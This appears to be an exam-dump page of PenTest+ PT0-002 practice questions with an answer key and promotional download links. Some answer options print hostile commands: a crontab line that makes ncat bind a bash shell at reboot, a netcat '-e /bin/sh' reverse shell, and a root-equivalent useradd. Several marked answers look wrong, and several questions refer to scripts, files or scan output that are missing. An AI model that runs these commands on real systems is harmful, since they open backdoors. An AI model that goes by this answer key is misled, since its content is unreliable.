[Jan-2022] Free PT0-002 Exam Questions PT0-002 Actual Free Exam Questions
Verified PT0-002 dumps and 142 unique questions
NEW QUESTION 83
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen.
A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- A. Direct-to-origin
- B. Credential harvesting
- C. Cross-site scripting
- D. Malware injection
Answer: A
NEW QUESTION 84
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-Ss22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-PA22-25,80
Answer: C
NEW QUESTION 85
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?
- A. sudo useradd -ou 0 -g 0 user
- B. wmic startup get caption,command
- C. crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
- D. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
Answer: B
NEW QUESTION 86
A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.
Which of the following describes the scope of the assessment?
- A. Known environment testing
- B. Unknown environment testing
- C. Partially known environment testing
- D. Physical environment testing
Answer: B
NEW QUESTION 87
A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?
- A. Fill the ARP table of the networked devices.
- B. Scan the system on the most used ports.
- C. Set the TTL of ping packets for stealth.
- D. Determine active hosts on the network.
Answer: D
NEW QUESTION 88
A penetration tester is reviewing the following SOW prior to engaging with a client:
"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner." Based on the information in the SOW, which of the following behaviors would be considered unethical?
(Choose two.)
- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements
- C. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- D. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- E. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
- F. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
Answer: D,F
NEW QUESTION 89
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?
- A. Obtain /etc/shadow and brute force the root password.
- B. Create a one-shot systemd service to establish a reverse shell.
- C. Move laterally to create a user account on LDAP
- D. Run the nc -e /bin/sh <...> command.
Answer: D
NEW QUESTION 90
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
* Have a full TCP connection
* Send a "hello" payload
* Walt for a response
* Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
- A. Employ an OpenVAS simple scan against the TCP port of the host.
- B. Run nmap -Pn -sV -script vuln <IP address>.
- C. Perform a credentialed scan with Nessus.
- D. Create a script in the Lua language and use it with NSE.
Answer: D
NEW QUESTION 91
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:
Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
- A. Download the smb.conf file and look at configurations
- B. Edit the smb.conf file and upload it to the server
- C. Edit the discovered file with one line of code for remote callback
- D. Download .pl files and look for usernames and passwords
Answer: B
NEW QUESTION 92
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?
- A. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- B. Executive summary of the penetration-testing methods used
- C. Code context for instances of unsafe type-casting operations
- D. Quantitative impact assessments given a successful software compromise
Answer: D
NEW QUESTION 93
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:
Which of the following tools will help the tester prepare an attack for this scenario?
- A. Burp Suite and DIRB
- B. Nmap and OWASP ZAP
- C. Netcat and cURL
- D. Hydra and crunch
Answer: A
NEW QUESTION 94
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?
- A. The expected time frame of the assessment
- B. The proper emergency contacts for the client
- C. A signed statement of work
- D. The correct user accounts and associated passwords
Answer: A
NEW QUESTION 95
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)
- A. The libraries may be unsupported
- B. The libraries may be vulnerable
- C. The provenance of code is unknown
- D. The libraries' code bases could be read by anyone
- E. The licensing of software is ambiguous
- F. The libraries may break the application
Answer: B,D
NEW QUESTION 96
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?
- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Create a detailed document of findings before continuing with the assessment.
- C. Incorporate the newly identified method of compromise into the red team's approach.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.
Answer: B
NEW QUESTION 97
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources.
Which of the following attack types is MOST concerning to the company?
- A. Side channel
- B. Session riding
- C. Data flooding
- D. Cybersquatting
Answer: B
NEW QUESTION 98
A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?
- A. John the Ripper
- B. Cain and Abel
- C. Hydra
- D. Mimikatz
Answer: A
NEW QUESTION 99
The results of an Nmap scan are as follows:
Which of the following would be the BEST conclusion about this device?
- A. This device is most likely a gateway with in-band management services.
- B. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- C. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.
- D. This device is most likely a proxy server forwarding requests over TCP/443.
Answer: B
NEW QUESTION 100
A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity.
Which of the following is the MOST important action to take before starting this type of assessment?
- A. Determine if the failover environment relies on resources not owned by the client.
- B. Establish communication and escalation procedures with the client.
- C. Verify the client has granted network access to the hot site.
- D. Ensure the client has signed the SOW.
Answer: D
NEW QUESTION 101
......
Latest 100% Passing Guarantee - Brilliant PT0-002 Exam Questions PDF: https://www.pass4cram.com/PT0-002_free-download.html
PT0-002 Dumps for Pass Guaranteed - Pass PT0-002 Exam: https://drive.google.com/open?id=180i6KTbXrM4icmlChJuI-V9a_mEI4Q5N